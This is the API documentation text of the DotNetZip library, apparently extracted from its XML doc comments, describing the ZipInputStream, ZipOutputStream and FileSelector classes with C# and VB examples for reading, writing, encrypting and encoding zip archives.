ZipInputStream(inputFileName)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + if (e.IsDirectory) continue; + string outputPath = Path.Combine(extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + Private Sub UnZip() + Dim inputFileName As String = "MyArchive.zip" + Dim extractDir As String = "extract" + Dim buffer As Byte() = New Byte(2048) {} + Using input As ZipInputStream = New ZipInputStream(inputFileName) + Dim e As ZipEntry + Do While (Not e = input.GetNextEntry Is Nothing) + If Not e.IsDirectory Then + Using output As FileStream = File.Open(Path.Combine(extractDir, e.FileName), _ + FileMode.Create, FileAccess.ReadWrite) + Dim n As Integer + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + End If + Loop + End Using + End Sub + + + + + + Create a ZipInputStream, explicitly specifying whether to + keep the underlying stream open. + + + + See the documentation for the ZipInputStream(Stream) + constructor for a discussion of the class, and an example of how to use the class. + + + + The stream to read from. It must be readable. + + + + true if the application would like the stream + to remain open after the ZipInputStream has been closed. + + + + Provides a string representation of the instance. + + + This can be useful for debugging purposes. + + + a string representation of the instance. + + + + The text encoding to use when reading entries into the zip archive, for + those entries whose filenames or comments cannot be encoded with the + default (IBM437) encoding. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to read zip archives that use something other than + UTF-8 or IBM437, set this property to specify the code page to use when + reading encoded filenames and comments for each ZipEntry in the zip + file. + + + + This property is "provisional". When the entry in the zip archive is not + explicitly marked as using UTF-8, then IBM437 is used to decode filenames + and comments. If a loss of data would result from using IBM436 - + specifically when encoding and decoding is not reflexive - the codepage + specified here is used. It is possible, therefore, to have a given entry + with a Comment encoded in IBM437 and a FileName encoded with + the specified "provisional" codepage. + + + + When a zip file uses an arbitrary, non-UTF8 code page for encoding, there + is no standard way for the reader application - whether DotNetZip, WinZip, + WinRar, or something else - to know which codepage has been used for the + entries. Readers of zip files are not able to inspect the zip file and + determine the codepage that was used for the entries contained within it. + It is left to the application or user to determine the necessary codepage + when reading zip files encoded this way. If you use an incorrect codepage + when reading a zipfile, you will get entries with filenames that are + incorrect, and the incorrect filenames may even contain characters that + are not legal for use within filenames in Windows. Extracting entries with + illegal characters in the filenames will lead to exceptions. It's too bad, + but this is just the way things are with code pages in zip files. Caveat + Emptor. + + + + + + + Size of the work buffer to use for the ZLIB codec during decompression. + + + + Setting this affects the performance and memory efficiency of compression + and decompression. For larger files, setting this to a larger size may + improve performance, but the exact numbers vary depending on available + memory, and a bunch of other variables. I don't have good firm + recommendations on how to set it. You'll have to test it yourself. Or + just leave it alone and accept the default. + + + + + Sets the password to be used on the ZipInputStream instance. + + + + + + When reading a zip archive, this password is used to read and decrypt the + entries that are encrypted within the zip file. When entries within a zip + file use different passwords, set the appropriate password for the entry + before the first call to Read() for each entry. + + + + When reading an entry that is not encrypted, the value of this property is + ignored. + + + + + + + This example uses the ZipInputStream to read and extract entries from a + zip file, using a potentially different password for each entry. + + + byte[] buffer= new byte[2048]; + int n; + using (var raw = File.Open(_inputFileName, FileMode.Open, FileAccess.Read )) + { + using (var input= new ZipInputStream(raw)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + input.Password = PasswordForEntry(e.FileName); + if (e.IsDirectory) continue; + string outputPath = Path.Combine(_extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + + + + Read the data from the stream into the buffer. + + + + + The data for the zipentry will be decrypted and uncompressed, as + necessary, before being copied into the buffer. + + + + You must set the property before calling + Read() the first time for an encrypted entry. To determine if an + entry is encrypted and requires a password, check the ZipEntry.Encryption property. + + + + The buffer to hold the data read from the stream. + the offset within the buffer to copy the first byte read. + the number of bytes to read. + the number of bytes read, after decryption and decompression. + + + + Read the next entry from the zip file. + + + + + Call this method just before calling , + to position the pointer in the zip file to the next entry that can be + read. Subsequent calls to Read(), will decrypt and decompress the + data in the zip file, until Read() returns 0. + + + + Each time you call GetNextEntry(), the pointer in the wrapped + stream is moved to the next entry in the zip file. If you call , and thus re-position the pointer within + the file, you will need to call GetNextEntry() again, to insure + that the file pointer is positioned at the beginning of a zip entry. + + + + This method returns the ZipEntry. Using a stream approach, you will + read the raw bytes for an entry in a zip file via calls to Read(). + Alternatively, you can extract an entry into a file, or a stream, by + calling , or one of its siblings. + + + + + + The ZipEntry read. Returns null (or Nothing in VB) if there are no more + entries in the zip file. + + + + + + Dispose the stream. + + + + + This method disposes the ZipInputStream. It may also close the + underlying stream, depending on which constructor was used. + + + + Typically the application will call Dispose() implicitly, via + a using statement in C#, or a Using statement in VB. + + + + Application code won't call this code directly. This method may + be invoked in two distinct scenarios. If disposing == true, the + method has been called directly or indirectly by a user's code, + for example via the public Dispose() method. In this case, both + managed and unmanaged resources can be referenced and disposed. + If disposing == false, the method has been called by the runtime + from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged resources + must be referenced or disposed. + + + + + true if the Dispose method was invoked by user code. + + + + + Always returns true. + + + + + Returns the value of CanSeek for the underlying (wrapped) stream. + + + + + Always returns false. + + + + + Returns the length of the underlying stream. + + + + + Gets or sets the position of the underlying stream. + + + Setting the position is equivalent to calling Seek(value, SeekOrigin.Begin). + + + + + This is a no-op. + + + + + This method always throws a NotSupportedException. + + ignored + ignored + ignored + + + + This method seeks in the underlying stream. + + + + + Call this method if you want to seek around within the zip file for random access. + + + + Applications can intermix calls to Seek() with calls to . After a call to Seek(), + GetNextEntry() will get the next ZipEntry that falls after + the current position in the input stream. You're on your own for finding + out just where to seek in the stream, to get to the various entries. + + + + + the offset point to seek to + the reference point from which to seek + The new position + + + + This method always throws a NotSupportedException. + + ignored + + + + Provides a stream metaphor for generating zip files. + + + + + This class writes zip files, as defined in the specification + for zip files described by PKWare. The compression for this + implementation is provided by a managed-code version of Zlib, included with + DotNetZip in the classes in the Ionic.Zlib namespace. + + + + This class provides an alternative programming model to the one enabled by the + class. Use this when creating zip files, as an + alternative to the class, when you would like to use a + Stream type to write the zip file. + + + + Both the ZipOutputStream class and the ZipFile class can be used + to create zip files. Both of them support many of the common zip features, + including Unicode, different compression levels, and ZIP64. They provide + very similar performance when creating zip files. + + + + The ZipFile class is generally easier to use than + ZipOutputStream and should be considered a higher-level interface. For + example, when creating a zip file via calls to the PutNextEntry() and + Write() methods on the ZipOutputStream class, the caller is + responsible for opening the file, reading the bytes from the file, writing + those bytes into the ZipOutputStream, setting the attributes on the + ZipEntry, and setting the created, last modified, and last accessed + timestamps on the zip entry. All of these things are done automatically by a + call to ZipFile.AddFile(). + For this reason, the ZipOutputStream is generally recommended for use + only when your application emits arbitrary data, not necessarily data from a + filesystem file, directly into a zip file, and does so using a Stream + metaphor. + + + + Aside from the differences in programming model, there are other + differences in capability between the two classes. + + + + + ZipFile can be used to read and extract zip files, in addition to + creating zip files. ZipOutputStream cannot read zip files. If you want + to use a stream to read zip files, check out the class. + + + + ZipOutputStream does not support the creation of segmented or spanned + zip files. + + + + ZipOutputStream cannot produce a self-extracting archive. + + + + + Be aware that the ZipOutputStream class implements the interface. In order for + ZipOutputStream to produce a valid zip file, you use use it within + a using clause (Using in VB), or call the Dispose() method + explicitly. See the examples for how to employ a using clause. + + + + Also, a note regarding compression performance: On the desktop .NET + Framework, DotNetZip can use a multi-threaded compression implementation + that provides significant speed increases on large files, over 300k or so, + at the cost of increased memory use at runtime. (The output of the + compression is almost exactly the same size). But, the multi-threaded + approach incurs a performance hit on smaller files. There's no way for the + ZipOutputStream to know whether parallel compression will be beneficial, + because the ZipOutputStream does not know how much data you will write + through the stream. You may wish to set the property to zero, if you are compressing + large files through ZipOutputStream. This will cause parallel + compression to be used, always. + + + + + + Create a ZipOutputStream, wrapping an existing stream. + + + + + The class is generally easier to use when creating + zip files. The ZipOutputStream offers a different metaphor for creating a + zip file, based on the class. + + + + + + The stream to wrap. It must be writable. This stream will be closed at + the time the ZipOutputStream is closed. + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + if (filesToZip.Count == 0) + { + System.Console.WriteLine("Nothing to do."); + return; + } + + using (var raw = File.Open(_outputFileName, FileMode.Create, FileAccess.ReadWrite )) + { + using (var output= new ZipOutputStream(raw)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + + foreach (string inputFileName in filesToZip) + { + System.Console.WriteLine("file: {0}", inputFileName); + + output.PutNextEntry(inputFileName); + using (var input = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write )) + { + byte[] buffer= new byte[2048]; + int n; + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + } + + + + Private Sub Zipup() + Dim outputFileName As String = "XmlData.zip" + Dim filesToZip As String() = Directory.GetFiles(".", "*.xml") + If (filesToZip.Length = 0) Then + Console.WriteLine("Nothing to do.") + Else + Using raw As FileStream = File.Open(outputFileName, FileMode.Create, FileAccess.ReadWrite) + Using output As ZipOutputStream = New ZipOutputStream(raw) + output.Password = "VerySecret!" + output.Encryption = EncryptionAlgorithm.WinZipAes256 + Dim inputFileName As String + For Each inputFileName In filesToZip + Console.WriteLine("file: {0}", inputFileName) + output.PutNextEntry(inputFileName) + Using input As FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer + Dim buffer As Byte() = New Byte(2048) {} + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + Next + End Using + End Using + End If + End Sub + + + + + + Create a ZipOutputStream that writes to a filesystem file. + + + + The class is generally easier to use when creating + zip files. The ZipOutputStream offers a different metaphor for creating a + zip file, based on the class. + + + + The name of the zip file to create. + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + if (filesToZip.Count == 0) + { + System.Console.WriteLine("Nothing to do."); + return; + } + + using (var output= new ZipOutputStream(outputFileName)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + + foreach (string inputFileName in filesToZip) + { + System.Console.WriteLine("file: {0}", inputFileName); + + output.PutNextEntry(inputFileName); + using (var input = File.Open(inputFileName, FileMode.Open, FileAccess.Read, + FileShare.Read | FileShare.Write )) + { + byte[] buffer= new byte[2048]; + int n; + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + Private Sub Zipup() + Dim outputFileName As String = "XmlData.zip" + Dim filesToZip As String() = Directory.GetFiles(".", "*.xml") + If (filesToZip.Length = 0) Then + Console.WriteLine("Nothing to do.") + Else + Using output As ZipOutputStream = New ZipOutputStream(outputFileName) + output.Password = "VerySecret!" + output.Encryption = EncryptionAlgorithm.WinZipAes256 + Dim inputFileName As String + For Each inputFileName In filesToZip + Console.WriteLine("file: {0}", inputFileName) + output.PutNextEntry(inputFileName) + Using input As FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer + Dim buffer As Byte() = New Byte(2048) {} + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + Next + End Using + End If + End Sub + + + + + + Create a ZipOutputStream. + + + + See the documentation for the ZipOutputStream(Stream) + constructor for an example. + + + + The stream to wrap. It must be writable. + + + + true if the application would like the stream + to remain open after the ZipOutputStream has been closed. + + + + Provides a string representation of the instance. + + + This can be useful for debugging purposes. + + + a string representation of the instance. + + + + Sets the password to be used on the ZipOutputStream instance. + + + + + + When writing a zip archive, this password is applied to the entries, not + to the zip archive itself. It applies to any ZipEntry subsequently + written to the ZipOutputStream. + + + + Using a password does not encrypt or protect the "directory" of the + archive - the list of entries contained in the archive. If you set the + Password property, the password actually applies to individual + entries that are added to the archive, subsequent to the setting of this + property. The list of filenames in the archive that is eventually created + will appear in clear text, but the contents of the individual files are + encrypted. This is how Zip encryption works. + + + + If you set this property, and then add a set of entries to the archive via + calls to PutNextEntry, then each entry is encrypted with that + password. You may also want to change the password between adding + different entries. If you set the password, add an entry, then set the + password to null (Nothing in VB), and add another entry, the + first entry is encrypted and the second is not. + + + + When setting the Password, you may also want to explicitly set the property, to specify how to encrypt the entries added + to the ZipFile. If you set the Password to a non-null value and do not + set , then PKZip 2.0 ("Weak") encryption is used. + This encryption is relatively weak but is very interoperable. If + you set the password to a null value (Nothing in VB), + Encryption is reset to None. + + + + Special case: if you wrap a ZipOutputStream around a non-seekable stream, + and use encryption, and emit an entry of zero bytes, the Close() or + PutNextEntry() following the entry will throw an exception. + + + + + + + The Encryption to use for entries added to the ZipOutputStream. + + + + + The specified Encryption is applied to the entries subsequently + written to the ZipOutputStream instance. + + + + If you set this to something other than + EncryptionAlgorithm.None, you will also need to set the + to a non-null, non-empty value in + order to actually get encryption on the entry. + + + + + ZipOutputStream.Password + ZipEntry.Encryption + + + + Size of the work buffer to use for the ZLIB codec during compression. + + + + Setting this may affect performance. For larger files, setting this to a + larger size may improve performance, but I'm not sure. Sorry, I don't + currently have good recommendations on how to set it. You can test it if + you like. + + + + + The compression strategy to use for all entries. + + + + Set the Strategy used by the ZLIB-compatible compressor, when compressing + data for the entries in the zip archive. Different compression strategies + work better on different sorts of data. The strategy parameter can affect + the compression ratio and the speed of compression but not the correctness + of the compresssion. For more information see . + + + + + The type of timestamp attached to the ZipEntry. + + + + Set this in order to specify the kind of timestamp that should be emitted + into the zip file for each entry. + + + + + Sets the compression level to be used for entries subsequently added to + the zip archive. + + + + + Varying the compression level used on entries can affect the + size-vs-speed tradeoff when compression and decompressing data streams + or files. + + + + As with some other properties on the ZipOutputStream class, like , and , + setting this property on a ZipOutputStream + instance will cause the specified CompressionLevel to be used on all + items that are subsequently added to the + ZipOutputStream instance. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + + + The compression method used on each entry added to the ZipOutputStream. + + + + + A comment attached to the zip archive. + + + + + + The application sets this property to specify a comment to be embedded + into the generated zip archive. + + + + According to PKWARE's + zip specification, the comment is not encrypted, even if there is a + password set on the zip file. + + + + The specification does not describe how to indicate the encoding used + on a comment string. Many "compliant" zip tools and libraries use + IBM437 as the code page for comments; DotNetZip, too, follows that + practice. On the other hand, there are situations where you want a + Comment to be encoded with something else, for example using code page + 950 "Big-5 Chinese". To fill that need, DotNetZip will encode the + comment following the same procedure it follows for encoding + filenames: (a) if is + Never, it uses the default encoding (IBM437). (b) if is Always, it always uses the + alternate encoding (). (c) if is AsNecessary, it uses the + alternate encoding only if the default encoding is not sufficient for + encoding the comment - in other words if decoding the result does not + produce the original string. This decision is taken at the time of + the call to ZipFile.Save(). + + + + + + + Specify whether to use ZIP64 extensions when saving a zip archive. + + + + + The default value for the property is . is + safest, in the sense that you will not get an Exception if a + pre-ZIP64 limit is exceeded. + + + + You must set this property before calling Write(). + + + + + + + Indicates whether ZIP64 extensions were used when saving the zip archive. + + + + The value is defined only after the ZipOutputStream has been closed. + + + + + Whether the ZipOutputStream should use case-insensitive comparisons when + checking for uniqueness of zip entries. + + + + + Though the zip specification doesn't prohibit zipfiles with duplicate + entries, Sane zip files have no duplicates, and the DotNetZip library + cannot create zip files with duplicate entries. If an application attempts + to call with a name that duplicates one + already used within the archive, the library will throw an Exception. + + + This property allows the application to specify whether the + ZipOutputStream instance considers ordinal case when checking for + uniqueness of zip entries. + + + + + + Indicates whether to encode entry filenames and entry comments using + Unicode (UTF-8). + + + + + The + PKWare zip specification provides for encoding file names and file + comments in either the IBM437 code page, or in UTF-8. This flag selects + the encoding according to that specification. By default, this flag is + false, and filenames and comments are encoded into the zip file in the + IBM437 codepage. Setting this flag to true will specify that filenames + and comments that cannot be encoded with IBM437 will be encoded with + UTF-8. + + + + Zip files created with strict adherence to the PKWare specification with + respect to UTF-8 encoding can contain entries with filenames containing + any combination of Unicode characters, including the full range of + characters from Chinese, Latin, Hebrew, Greek, Cyrillic, and many other + alphabets. However, because at this time, the UTF-8 portion of the PKWare + specification is not broadly supported by other zip libraries and + utilities, such zip files may not be readable by your favorite zip tool or + archiver. In other words, interoperability will decrease if you set this + flag to true. + + + + In particular, Zip files created with strict adherence to the PKWare + specification with respect to UTF-8 encoding will not work well with + Explorer in Windows XP or Windows Vista, because Windows compressed + folders, as far as I know, do not support UTF-8 in zip files. Vista can + read the zip files, but shows the filenames incorrectly. Unpacking from + Windows Vista Explorer will result in filenames that have rubbish + characters in place of the high-order UTF-8 bytes. + + + + Also, zip files that use UTF-8 encoding will not work well with Java + applications that use the java.util.zip classes, as of v5.0 of the Java + runtime. The Java runtime does not correctly implement the PKWare + specification in this regard. + + + + As a result, we have the unfortunate situation that "correct" behavior by + the DotNetZip library with regard to Unicode encoding of filenames during + zip creation will result in zip files that are readable by strictly + compliant and current tools (for example the most recent release of the + commercial WinZip tool); but these zip files will not be readable by + various other tools or libraries, including Windows Explorer. + + + + The DotNetZip library can read and write zip files with UTF8-encoded + entries, according to the PKware spec. If you use DotNetZip for both + creating and reading the zip file, and you use UTF-8, there will be no + loss of information in the filenames. For example, using a self-extractor + created by this library will allow you to unpack files correctly with no + loss of information in the filenames. + + + + If you do not set this flag, it will remain false. If this flag is false, + the ZipOutputStream will encode all filenames and comments using + the IBM437 codepage. This can cause "loss of information" on some + filenames, but the resulting zipfile will be more interoperable with other + utilities. As an example of the loss of information, diacritics can be + lost. The o-tilde character will be down-coded to plain o. The c with a + cedilla (Unicode 0xE7) used in Portugese will be downcoded to a c. + Likewise, the O-stroke character (Unicode 248), used in Danish and + Norwegian, will be down-coded to plain o. Chinese characters cannot be + represented in codepage IBM437; when using the default encoding, Chinese + characters in filenames will be represented as ?. These are all examples + of "information loss". + + + + The loss of information associated to the use of the IBM437 encoding is + inconvenient, and can also lead to runtime errors. For example, using + IBM437, any sequence of 4 Chinese characters will be encoded as ????. If + your application creates a ZipOutputStream, does not set the + encoding, then adds two files, each with names of four Chinese characters + each, this will result in a duplicate filename exception. In the case + where you add a single file with a name containing four Chinese + characters, the zipfile will save properly, but extracting that file + later, with any zip tool, will result in an error, because the question + mark is not legal for use within filenames on Windows. These are just a + few examples of the problems associated to loss of information. + + + + This flag is independent of the encoding of the content within the entries + in the zip file. Think of the zip file as a container - it supports an + encoding. Within the container are other "containers" - the file entries + themselves. The encoding within those entries is independent of the + encoding of the zip archive container for those entries. + + + + Rather than specify the encoding in a binary fashion using this flag, an + application can specify an arbitrary encoding via the property. Setting the encoding + explicitly when creating zip archives will result in non-compliant zip + files that, curiously, are fairly interoperable. The challenge is, the + PKWare specification does not provide for a way to specify that an entry + in a zip archive uses a code page that is neither IBM437 nor UTF-8. + Therefore if you set the encoding explicitly when creating a zip archive, + you must take care upon reading the zip archive to use the same code page. + If you get it wrong, the behavior is undefined and may result in incorrect + filenames, exceptions, stomach upset, hair loss, and acne. + + + + + + + The text encoding to use when emitting entries into the zip archive, for + those entries whose filenames or comments cannot be encoded with the + default (IBM437) encoding. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to write zip archives that will be read by one of + these other archivers, set this property to specify the code page to use + when encoding the and for each ZipEntry in the zip file, for + values that cannot be encoded with the default codepage for zip files, + IBM437. This is why this property is "provisional". In all cases, IBM437 + is used where possible, in other words, where no loss of data would + result. It is possible, therefore, to have a given entry with a + Comment encoded in IBM437 and a FileName encoded with the + specified "provisional" codepage. + + + + Be aware that a zip file created after you've explicitly set the + ProvisionalAlternateEncoding property to a value other than + IBM437 may not be compliant to the PKWare specification, and may not be + readable by compliant archivers. On the other hand, many (most?) + archivers are non-compliant and can read zip files created in arbitrary + code pages. The trick is to use or specify the proper codepage when + reading the zip. + + + + When creating a zip archive using this library, it is possible to change + the value of ProvisionalAlternateEncoding between each entry you + add, and between adding entries and the call to Close(). Don't do + this. It will likely result in a zipfile that is not readable. For best + interoperability, either leave ProvisionalAlternateEncoding + alone, or specify it only once, before adding any entries to the + ZipOutputStream instance. There is one exception to this + recommendation, described later. + + + + When using an arbitrary, non-UTF8 code page for encoding, there is no + standard way for the creator application - whether DotNetZip, WinZip, + WinRar, or something else - to formally specify in the zip file which + codepage has been used for the entries. As a result, readers of zip files + are not able to inspect the zip file and determine the codepage that was + used for the entries contained within it. It is left to the application + or user to determine the necessary codepage when reading zip files encoded + this way. If you use an incorrect codepage when reading a zipfile, you + will get entries with filenames that are incorrect, and the incorrect + filenames may even contain characters that are not legal for use within + filenames in Windows. Extracting entries with illegal characters in the + filenames will lead to exceptions. It's too bad, but this is just the way + things are with code pages in zip files. Caveat Emptor. + + + + One possible approach for specifying the code page for a given zip file is + to describe the code page in a human-readable form in the Zip comment. For + example, the comment may read "Entries in this archive are encoded in the + Big5 code page". For maximum interoperability, the zip comment in this + case should be encoded in the default, IBM437 code page. In this case, + the zip comment is encoded using a different page than the filenames. To + do this, Specify ProvisionalAlternateEncoding to your desired + region-specific code page, once before adding any entries, and then set + the property and reset + ProvisionalAlternateEncoding to IBM437 before calling Close(). + + + + + + A Text Encoding to use when encoding the filenames and comments for + all the ZipEntry items, during a ZipFile.Save() operation. + + + + Whether the encoding specified here is used during the save depends + on . + + + + + + A flag that tells if and when this instance should apply + AlternateEncoding to encode the filenames and comments associated to + of ZipEntry objects contained within this instance. + + + + + The default text encoding used in zip archives. It is numeric 437, also + known as IBM437. + + + + + + The size threshold for an entry, above which a parallel deflate is used. + + + + + + DotNetZip will use multiple threads to compress any ZipEntry, when + the CompressionMethod is Deflate, and if the entry is + larger than the given size. Zero means "always use parallel + deflate", while -1 means "never use parallel deflate". + + + + If the entry size cannot be known before compression, as with any entry + added via a ZipOutputStream, then Parallel deflate will never be + performed, unless the value of this property is zero. + + + + A parallel deflate operations will speed up the compression of + large files, on computers with multiple CPUs or multiple CPU + cores. For files above 1mb, on a dual core or dual-cpu (2p) + machine, the time required to compress the file can be 70% of the + single-threaded deflate. For very large files on 4p machines the + compression can be done in 30% of the normal time. The downside + is that parallel deflate consumes extra memory during the deflate, + and the deflation is slightly less effective. + + + + Parallel deflate tends to not be as effective as single-threaded deflate + because the original data stream is split into multiple independent + buffers, each of which is compressed in parallel. But because they are + treated independently, there is no opportunity to share compression + dictionaries, and additional framing bytes must be added to the output + stream. For that reason, a deflated stream may be slightly larger when + compressed using parallel deflate, as compared to a traditional + single-threaded deflate. For files of about 512k, the increase over the + normal deflate is as much as 5% of the total compressed size. For larger + files, the difference can be as small as 0.1%. + + + + Multi-threaded compression does not give as much an advantage when using + Encryption. This is primarily because encryption tends to slow down + the entire pipeline. Also, multi-threaded compression gives less of an + advantage when using lower compression levels, for example . You may have to perform + some tests to determine the best approach for your situation. + + + + The default value for this property is -1, which means parallel + compression will not be performed unless you set it to zero. + + + + + + + The maximum number of buffer pairs to use when performing + parallel compression. + + + + + This property sets an upper limit on the number of memory + buffer pairs to create when performing parallel + compression. The implementation of the parallel + compression stream allocates multiple buffers to + facilitate parallel compression. As each buffer fills up, + the stream uses + ThreadPool.QueueUserWorkItem() to compress those + buffers in a background threadpool thread. After a buffer + is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time, but it is + effective only if set before calling + ZipOutputStream.Write() for the first time. + + + + + + + + + Returns true if an entry by the given name has already been written + to the ZipOutputStream. + + + + The name of the entry to scan for. + + + + true if an entry by the given name has already been written. + + + + + Write the data from the buffer to the stream. + + + + As the application writes data into this stream, the data may be + compressed and encrypted before being written out to the underlying + stream, depending on the settings of the + and the properties. + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Specify the name of the next entry that will be written to the zip file. + + + + + Call this method just before calling , to + specify the name of the entry that the next set of bytes written to + the ZipOutputStream belongs to. All subsequent calls to Write, + until the next call to PutNextEntry, + will be inserted into the named entry in the zip file. + + + + If the used in PutNextEntry() ends in + a slash, then the entry added is marked as a directory. Because directory + entries do not contain data, a call to Write(), before an + intervening additional call to PutNextEntry(), will throw an + exception. + + + + If you don't call Write() between two calls to + PutNextEntry(), the first entry is inserted into the zip file as a + file of zero size. This may be what you want. + + + + Because PutNextEntry() closes out the prior entry, if any, this + method may throw if there is a problem with the prior entry. + + + + This method returns the ZipEntry. You can modify public properties + on the ZipEntry, such as , , and so on, until the first call to + ZipOutputStream.Write(), or until the next call to + PutNextEntry(). If you modify the ZipEntry after + having called Write(), you may get a runtime exception, or you may + silently get an invalid zip archive. + + + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + using (FileStream fs raw = File.Open(_outputFileName, FileMode.Create, FileAccess.ReadWrite )) + { + using (var output= new ZipOutputStream(fs)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + output.PutNextEntry("entry1.txt"); + byte[] buffer= System.Text.Encoding.ASCII.GetBytes("This is the content for entry #1."); + output.Write(buffer,0,buffer.Length); + output.PutNextEntry("entry2.txt"); // this will be zero length + output.PutNextEntry("entry3.txt"); + buffer= System.Text.Encoding.ASCII.GetBytes("This is the content for entry #3."); + output.Write(buffer,0,buffer.Length); + } + } + } + + + + + The name of the entry to be added, including any path to be used + within the zip file. + + + + The ZipEntry created. + + + + + + Dispose the stream + + + + + This method writes the Zip Central directory, then closes the stream. The + application must call Dispose() (or Close) in order to produce a valid zip file. + + + + Typically the application will call Dispose() implicitly, via a using + statement in C#, or a Using statement in VB. + + + + + set this to true, always. + + + + Always returns false. + + + + + Always returns false. + + + + + Always returns true. + + + + + Always returns a NotSupportedException. + + + + + Setting this property always returns a NotSupportedException. Getting it + returns the value of the Position on the underlying stream. + + + + + This is a no-op. + + + + + This method always throws a NotSupportedException. + + ignored + ignored + ignored + nothing + + + + This method always throws a NotSupportedException. + + ignored + ignored + nothing + + + + This method always throws a NotSupportedException. + + ignored + + + + Sort-of like a factory method, ForUpdate is used only when + the application needs to update the zip entry metadata for + a segmented zip file, when the starting segment is earlier + than the ending segment, for a particular entry. + + + + The update is always contiguous, never rolls over. As a + result, this method doesn't need to return a ZSS; it can + simply return a FileStream. That's why it's "sort of" + like a Factory method. + + + Caller must Close/Dispose the stream object returned by + this method. + + + + + + Name of the filesystem file corresponding to the current segment. + + + + The name is not always the name currently being used in the + filesystem. When rwMode is RwMode.Write, the filesystem file has a + temporary name until the stream is closed or until the next segment is + started. + + + + + + Read from the stream + + the buffer to read + the offset at which to start + the number of bytes to read + the number of bytes actually read + + + + Write to the stream. + + the buffer from which to write + the offset at which to start writing + the number of bytes to write + + + + Enumerates the options for a logical conjunction. This enum is intended for use + internally by the FileSelector class. + + + + + FileSelector encapsulates logic that selects files from a source - a zip file + or the filesystem - based on a set of criteria. This class is used internally + by the DotNetZip library, in particular for the AddSelectedFiles() methods. + This class can also be used independently of the zip capability in DotNetZip. + + + + + + The FileSelector class is used internally by the ZipFile class for selecting + files for inclusion into the ZipFile, when the method, or one of + its overloads, is called. It's also used for the methods. Typically, an + application that creates or manipulates Zip archives will not directly + interact with the FileSelector class. + + + + Some applications may wish to use the FileSelector class directly, to + select files from disk volumes based on a set of criteria, without creating or + querying Zip archives. The file selection criteria include: a pattern to + match the filename; the last modified, created, or last accessed time of the + file; the size of the file; and the attributes of the file. + + + + Consult the documentation for + for more information on specifying the selection criteria. + + + + + + + Constructor that allows the caller to specify file selection criteria. + + + + + This constructor allows the caller to specify a set of criteria for + selection of files. + + + + See for a description of + the syntax of the selectionCriteria string. + + + + By default the FileSelector will traverse NTFS Reparse Points. To + change this, use FileSelector(String, bool). + + 